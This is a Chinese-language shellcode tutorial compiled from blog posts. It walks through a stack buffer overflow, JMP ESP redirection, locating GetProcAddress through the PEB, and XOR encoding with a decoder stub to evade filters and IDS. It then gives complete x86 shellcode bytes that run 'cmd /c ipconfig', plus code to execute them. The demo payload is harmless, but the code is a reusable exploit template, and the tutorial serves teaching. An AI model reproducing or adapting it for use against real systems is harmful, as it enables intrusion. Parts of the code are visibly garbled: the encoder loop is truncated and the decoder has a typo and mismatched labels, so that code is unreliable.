shellcode

Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。
中文名 填充数据 外文名 shellcode 类    型 漏洞代码 平    台 互联网
目录
1 编写考虑因素
2 常见问题处理方法

编写考虑因素

Shellcode一般作为数据发送给服务端造成溢出,不同数据对数据要求不同,因此,Shellcode也不一定相同。但Shellcode在编写过程中,有些问题是一致的:
⒈Shellcode的编写语言。
用什么语言编写最适合Shellcode呢?这个问题没有定论。一般采用的是C语言,速度较快,但是ASM更便于控制Shellcode的生成。到底是快速编写还是完全控制呢?很难回答呢。
⒉Shellcode本身代码的重定位。Shellcode的流程控制,即如何通过溢出使控制权落在Shellcode手中
⒊Shellcode中使用的API地址定位。
⒋Shellcode编码问题。
⒌多态技术躲避IDS检测。

常见问题处理方法

Shellcode编写技术

⒈Shellcode编写语言

Shellcode本质上可以使用任何编程语言,但我们需要的是提取其中的机器码。Shellcode使用汇编语言编写是最具可控性的,因为我们完全可以通过指令控制代码生成,缺点就是需要大量的时间,而且还要你深入了解汇编。如果你想追求速度,C是不错的选择。C语言编写起来较为省力,但Shellcode提取较为复杂,不过,一旦写好模板,就省事许多。例如,这里有一个写好的模板:
void Shellcode()
{
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
}
}
然后在main()中用函数指针操作和memcmp定位shellcode,用printf之类函数将shellcode打出来或保存即可。示例代码略。纵观当前shellcode,大部分是由C完成的,因此,想来大家已经取舍完了吧?

⒉Shellcode代码地址定位,获取程序EIP。

为什么要获取EIP呢?原因是,我们需要我们的Shellcode能够执行,对病毒技术有了解的话,应该知道他们是怎么定位的:利用CALL/POP来实现。
这里就不得不提到两种方法:JMP ESP和CALL/POP EBX。这是人们在对windows系统熟悉之后的方法,成功率非常高。相信看过王炜兄的教程的朋友应该有印象吧。这里我就简单说一下。
我们的方法是通过Shellcode地址覆盖返回地址,在溢出后即可跳转到我们的代码中,以获取权限。而Shellcode在内存中的地址并不固定,因此我们利用系统的DLL文件中的JMP ESP或CALL ESP、CALL EBP来实现对Shellcode地址的间接跳转。这样有两个好处,一是不必准确定位Shellcode地址;二是可以防止strcpy对00字节的截断,因为DLL文件中,地址一般为7FXXXXXX。具体细节,网上已有相关的东东,大家自己找来看看吧。

⒊Shellcode中的API地址定位。

Shellcode代码的运行环境和病毒在某些方面是类似的,由于系统不同,Api的地址也不尽相同。因此,要想让Shellcode在不同Windows下运行就必须解决Api的定位问题。API定位的关键是了解Windows DLL映像文件格式,即PE文件格式,然后通过搜索函数的Export表获取API地址。定位方法有暴力搜索法、从进程PEB中获取和遍历SEH链法。我们这里使用从进程PEB中获取,示例代码如下:
__asm
{
push ebp;
sub esp, 0x40;
mov ebp,esp;
push ebp;
mov eax, fs:0x30 ;PEB
mov eax, [eax + 0x0c] ;Ldr
mov esi, [eax + 0x1c] ;Flink
lodsd
mov edi, [eax + 0x08] ;edi就是kernel32.dll的地址
mov eax, [edi+3Ch] ;eax = PE首部
mov edx,[edi+eax+78h]
add edx,edi ;edx = 输出表地址
mov ecx,[edx+18h] ;ecx = 输出函数的个数
mov ebx,[edx+20h]
add ebx,edi ;ebx =函数名地址,AddressOfName
search:
dec ecx
mov esi,[ebx+ecx*4]
add esi,edi ;依次找每个函数名称
;GetProcAddress
mov eax,0x50746547
cmp [esi], eax; 'PteG'
jne search
mov eax,0x41636f72
cmp [esi+4],eax; 'Acor'
jne search
;如果是GetProcA,表示找到了
mov ebx,[edx+24h]
add ebx,edi ;ebx = 索引号地址,AddressOf
mov cx,[ebx+ecx*2] ;ecx = 计算出的索引号值
mov ebx,[edx+1Ch]
add ebx,edi ;ebx = 函数地址的起始位置,AddressOfFunction
mov eax,[ebx+ecx*4]
add eax,edi ;利用索引值,计算出GetProcAddress的地址
mov [ebp+40h], eax ;把GetProcAddress的地址存在 ebp+40中
接下来是使用GetProcAddress()和LoadLibraryA()获取其他需要函数了,和C没什么两样,略过了吧,很累呢。

⒋Shellcode的编码问题。

写过Shellcode的兄弟对这个应该很熟吧?例如:strcpy函数中不能有0x00,RPC DOCM溢出时不能用0x5c等等。
因为假如有这些字符,会导致服务中断Shellcode,溢出失败。不同溢出对shellcode要求不同,当然需要精选字符来达到目的,这样太累了些,简单点就是写一段代码,示例如下:
for(i=0;i ch=sc_buff^Enc_key;
//对可能字符进行替换
if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')
{
buff='0';
++k;
ch+=0x31;
}
//将编码Code放在DecryptSc后
buff[k]=ch;
++k;
}
解码时代码 解码时代码,示例如下:
jmp next
getEncodeAddr:
pop edi
push edi
pop esi
xor ecx,ecx
Decrypt_lop:
loasb
cmp al,cl
jz shell
cmp al,0x30 //判断是否为特殊字符
jz specal_char_clean
store:
xor al,Enc_key
stosb
jmp Decrypt_lop
special_char_clean:
lodsb
sub al,0x31
jmp store
next:
call getEncodeAddr
========

Shellcode的原理及编写

1.shellcode原理

Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。
如下链接是shellcode编写的基础,仅供参考

http://blog.chinaunix.net/uid-24917554-id-3506660.html

缓冲区溢出的shellcode很多了,这里重现下缓冲区溢出。

[cpp] view plain copy 在CODE上查看代码片派生到我的代码片
int fun(char *shellcode)  
{  
    char str[4]="";//这里定义4个字节  
    strcpy(str,shellcode);//这两个shellcode如果超过4个字节,就会导致缓冲区溢出  
    printf("%s",str);  
    return 1;  
}  
int main(int argc, char* argv[])  
{  
  char str[]="aaaaaaaaaaaaaaaaaaa!";  
  fun(str);  
  return 0;  
}  
如上程序,会导致缓冲区溢出。
程序运行后截图如下

如上可以看出来,异常偏移是61616161,其实自己观察61616161其实就是aaaa的Hex编码

因为调用函数的过程大致是
1:将参数从右到左压入堆栈
2:将下一条指令的地址压入堆栈
3:函数内部的临时变量申请
4:函数调用完成,退出
内存栈区从高到低
[参数][ebp][返回地址][函数内部变量空间]
如上程序,如果函数内部变量空间比较小,执行strcpy时候,源字符串比目标字符串长,就会覆盖函数返回地址,导致程序流程变化

如图

0048FE44前四个00是str申请的四个字节的并初始化为00,后面的48FF1800是函数的返回地址,再后面的411E4000是ebp,既调用函数的基址。

再往下执行strcpy函数后,可以看见aaaaaaaa覆盖了返回地址

如图

可以看见0018FF44地址后面的函数返回地址和ebp都被61填充了。

fun函数执行完后,返回调用fun函数地址时候,导致程序报错。

缓冲区溢出的简单讲解如上,这时候,如果我们把返回地址改成我们自己的函数地址,不就可以执行我们自己的程序了?

缓冲区溢出利用就是把返回地址改成我们自己的函数地址,上面的方法就是覆盖eip,既返回地址,还有一种方法是覆盖SHE,原理差不多。

了解了基本原理,下面可以编写利用的代码

缓冲区溢出,基本的使用方法是jmp esp,覆盖的eip指针是jmp esp的地址,利用的字符串结构如下

[正常的字符串][jmp esp的地址][执行的代码(shellcode)]

关于获取jmp esp的代码,可以自己写个程序,从系统中查找jmp esp代码0xFFE4。

下面开始编写shellcode以及调用实现

[cpp] view plain copy 在CODE上查看代码片派生到我的代码片
void fun()  
{  
    __asm  
    {  
     mov eax, dword ptr fs:[0x30];  
     mov eax, dword ptr [eax+0xC];  
     mov eax, dword ptr [eax+0xC];  
     mov eax, dword ptr [eax];  
     mov eax, dword ptr [eax];  
     mov eax, dword ptr [eax+0x18];  
     mov ebp,eax                        //Kernel.dll基址  
     mov eax,dword ptr ss:[ebp+3CH]      // eax=PE首部  
     mov edx,dword ptr ds:[eax+ebp+78H]  //  
     add edx,ebp                        // edx=引出表地址  
     mov ecx,dword ptr ds:[edx+18H]      // ecx=导出函数个数,NumberOfFunctions  
     mov ebx,dword ptr ds:[edx+20H]      //  
     add ebx,ebp                        // ebx=函数名地址,AddressOfName  
start:                                  //  
     dec ecx                            // 循环的开始  
     mov esi,dword ptr ds:[ebx+ecx*4]   //  
     add esi,ebp                        //  
     mov eax,0x50746547                   //  
     cmp dword ptr ds:[esi],eax         // 比较PteG  
     jnz start                     //  
     mov eax,0x41636F72                   //  
     cmp dword ptr ds:[esi+4],eax       // 比较Acor,通过GetProcA几个字符就能确定是GetProcAddress  
     jnz start                     //  
     mov ebx,dword ptr ds:[edx+24H]      //  
     add ebx,ebp                        //  
     mov cx,word ptr ds:[ebx+ecx*2]     //  
     mov ebx,dword ptr ds:[edx+1CH]      //  
     add ebx,ebp                        //  
     mov eax,dword ptr ds:[ebx+ecx*4]   //  
     add eax,ebp                        // eax 现在是GetProcAddress地址  
     mov ebx,eax                        // GetProcAddress地址存入ebx,如果写ShellCode的话以后还可以继续调用  
     push 0                             //  
     push 0x636578                        //  
     push 0x456E6957                      // 构造WinExec字符串  
     push esp                           //  
     push ebp                           // ebp是kernel32.dll的基址   
     call ebx                           // 用GetProcAdress得到WinExec地址  
     mov ebx,eax                        // WinExec地址保存到ecx  
   
     push 0x00676966  
     push 0x6E6F6370  
     push 0x6920632F  
     push 0x20646d63    //cmd压入栈  
  
     lea eax,[esp];     //取到cmd首地址  
     push 1             //  
     push eax           // ASCII "cmd /c ipconfig"  
     call ebx           // 执行WinExec  
    // leave            // 跳回原始入口点  
    }  
}

[cpp] view plain copy 在CODE上查看代码片派生到我的代码片
int main(int argc, char* argv[])  
{  
   fun();  
}

如果汇编代码在vc调试下,获取二进制代码如图:

查看00401A08的地址,可以看出是fun函数的汇编代码
shellcode代码基本获取到了,现在是要把他复制出来,

我取出来的后,如下

[cpp] view plain copy 在CODE上查看代码片派生到我的代码片
unsigned char shellcode[]={  
    0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,0x18,0x8B,0xE8,0x36,0x8B,0x45,  
    0x3C,0x3E,0x8B,0x54,0x28,0x78,0x03,0xD5,0x3E,0x8B,0x4A,0x18,0x3E,0x8B,0x5A,0x20,0x03,0xDD,0x49,0x3E,0x8B,0x34,0x8B,0x03,  
    0xF5,0xB8,0x47,0x65,0x74,0x50,0x3E,0x39,0x06,0x75,0xEF,0xB8,0x72,0x6F,0x63,0x41,0x3E,0x39,0x46,0x04,0x75,0xE4,0x3E,0x8B,  
    0x5A,0x24,0x03,0xDD,0x66,0x3E,0x8B,0x0C,0x4B,0x3E,0x8B,0x5A,0x1C,0x03,0xDD,0x3E,0x8B,0x04,0x8B,0x03,0xC5,0x8B,0xD8,0x6A,  
    0x00,0x68,0x78,0x65,0x63,0x00,0x68,0x57,0x69,0x6E,0x45,0x54,0x55,0xFF,0xD3,0x8B,0xD8,0x68,0x66,0x69,0x67,0x00,0x68,0x70,  
    0x63,0x6F,0x6E,0x68,0x2F,0x63,0x20,0x69,0x68,0x63,0x6D,0x64,0x20,0x8D,0x04,0x24,0x6A,0x01,0x50,0xFF,0xD3};  
稍作了下加工,0x是HEX的方式。

下面是我们调用shellcode,看是否可以用

程序如下:

[cpp] view plain copy 在CODE上查看代码片派生到我的代码片
int main(int argc, char* argv[])  
{  
    unsigned char shellcode[]={  
    0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,  
    0x18,0x8B,0xE8,0x36,0x8B,0x45,0x3C,0x3E,0x8B,0x54,0x28,0x78,0x03,0xD5,0x3E,0x8B,0x4A,0x18,  
    0x3E,0x8B,0x5A,0x20,0x03,0xDD,0x49,0x3E,0x8B,0x34,0x8B,0x03,0xF5,0xB8,0x47,0x65,0x74,0x50,  
    0x3E,0x39,0x06,0x75,0xEF,0xB8,0x72,0x6F,0x63,0x41,0x3E,0x39,0x46,0x04,0x75,0xE4,0x3E,0x8B,  
    0x5A,0x24,0x03,0xDD,0x66,0x3E,0x8B,0x0C,0x4B,0x3E,0x8B,0x5A,0x1C,0x03,0xDD,0x3E,0x8B,0x04,  
    0x8B,0x03,0xC5,0x8B,0xD8,0x6A,0x00,0x68,0x78,0x65,0x63,0x00,0x68,0x57,0x69,0x6E,0x45,0x54,  
    0x55,0xFF,0xD3,0x8B,0xD8,0x68,0x66,0x69,0x67,0x00,0x68,0x70,0x63,0x6F,0x6E,0x68,0x2F,0x63,  
    0x20,0x69,0x68,0x63,0x6D,0x64,0x20,0x8D,0x04,0x24,0x6A,0x01,0x50,0xFF,0xD3};  
    //三种方式执行shellcode  
    //第一种  
    ((void (*)())&shellcode)(); // 执行shellcode  
    //第二种  
    __asm     
   {     
      lea eax,shellcode;     
      jmp eax;     
   }   
   //第三种  
    __asm  
   {  
      lea eax, shellcode  
      push eax  
      ret   
   }  
}  
至此,shellcode的编写完成了,如上这只是shellcode大致编写过程,是在windows下环境编写的,linux环境下的编写过程基本相同
至于更高级的利用,可以去看雪论坛逛逛。
http://blog.csdn.net/maotoula/article/details/18502679
========

shellcode学习总结相关推荐

  1. php shellcode,Windows Shellcode学习笔记

    0x00 前言 Windows Shellcode学习笔记--通过VisualStudio生成shellcode,shellcode是一段机器码,常用作漏洞利用中的载荷(也就是payload). 在渗 ...

  2. shellcode执行盒_简单shellcode学习

    引言 之前遇到没开启NX保护的时候,都是直接用pwtools库里的shellcode一把梭,也不太懂shellcode代码具体做了些什么,遇到了几道不能一把梭的题目,简单学习一下shellcode的编 ...

  3. shellcode学习

    一道题目 最近在buu上面刷题的时候发现了一道题目 ciscn_2019_s_9 ,这道题目需要我们自己编写 shellcode ,以前 shellcode 都是从 pwntools 或者是msf里面 ...

  4. 如何在内存中执行二进制代码之win平台

    大家可能会很好奇,我们的任意exe程序,不就是在内存中执行的二进制机器码吗? 不,今天我要说的是,我们如何把实现指定功能的一段二进制机器码,放到我们的程序中,然后在需要的时候,直接调用它. 当然,这段 ...

  5. 《ODAY安全:软件漏洞分析技术》学习心得-----shellcode的一点小小的思考

    I will Make Impossible To I'm possible -----------LittleHann 看了2个多星期.终于把0DAY这本书给看完了,自己动手将书上的实验一个一个实现 ...

  6. php加载shellcode,萌新逆向学习笔记——CreateRemoteThread注入Shellcode

    前言 笔者已经有一段时间没发文了,说实话最近学习逆向没劲儿,不知道是不是因为天气总是变化无常,人感觉有点疲惫. 友情提示:下面一堆笔者废话,所以只想看技术细节可跳过. 之前一直在看韩国人写的<逆 ...

  7. 软件本身呢对shellcode 检查 SEH Exploit学习

    例子:   mp3-millennium 典型SEH  漏洞····················· 一般我们都是直接去写文件,但是这个例子有检查文件属性的 可以看到有检查机制 所以构造 POC时要 ...

  8. 关于简单的shellcode的学习

    题目(hackergame2019→shell骇客) 题目文件下载(提取码:emuy) chall1 对文件分析完发现只需要生成一个不超过0x200长度的shellcode填充栈即可 如果不了解she ...

  9. 了解黑客的关键工具---揭开Shellcode的神秘面纱

    2019独角兽企业重金招聘Python工程师标准>>> ref:  http://zhaisj.blog.51cto.com/219066/61428/ 了解黑客的关键工具---揭开 ...

最新文章

  1. p20华为云电脑白屏_永别了电脑,华为大举动:华为云电脑,重新定义个人电脑...
  2. jquery中not方法失效的解决方案
  3. [系统安全] 四十四.APT系列(9)Metasploit技术之基础用法万字详解及防御机理
  4. leetcode279 完全平方数
  5. pptv多屏互动服务怎么删除
  6. GitCode 版本升级,让开发更加高效
  7. 用计算机弹奏体面6,抖音能用计算器按出音乐有哪些?计算器乐谱分享
  8. Office365 PowerShell打开邮箱审计功能
  9. 吴军《信息论40讲》课程目录
  10. 新规后股指期货开户条件
  11. 深蓝学院-多传感器融合定位课程-第4章-点云地图构建及基于地图的定位
  12. 全局鼠标手势linux,Firefox通过用户脚本和热键进行的全局鼠标手势(Win7 / Linux + FF 68 esr)...
  13. 读入一系列正整数数据,输入-1表示输入结束,-1本身不是输入的数据。程序输出读到的数据中的奇数和偶数的个数。
  14. 应用 Python PyAutoGUI 打造专属按键精灵脚本工具!
  15. 怎样把PDF翻译成中文
  16. 什么叫SOC-新能源充电桩
  17. CentOS设置开机自动执行指定命令
  18. 简单的手机蓝牙遥控智能小车
  19. 魔兽世界 Mangos Trinity TrinityCore 数据库 结构 大纲
  20. CSAPP(深入理解计算机系统)

热门文章

  1. Node.js模块化开发||Node.js中模块化开发规范
  2. Java的知识点18——数组存储表格数据、冒泡排序的基础算法、冒泡排序的优化算法、二分法查找
  3. VS 2012 NuGet错误
  4. Java 技术篇-利用ClipboardOwner实现实时监听剪切板功能实例演示
  5. JavaScript 技术篇-js获取document的几种方式,js获取dom元素的常用方法。
  6. IMXRT10xx MDK 编译器AC5 升级AC6
  7. Linux环境变量配置出错,导致登录不了......
  8. MFRC522开发笔记
  9. Python进阶06 循环对象与迭代
  10. Python通过一个网页地址获得网页标题Title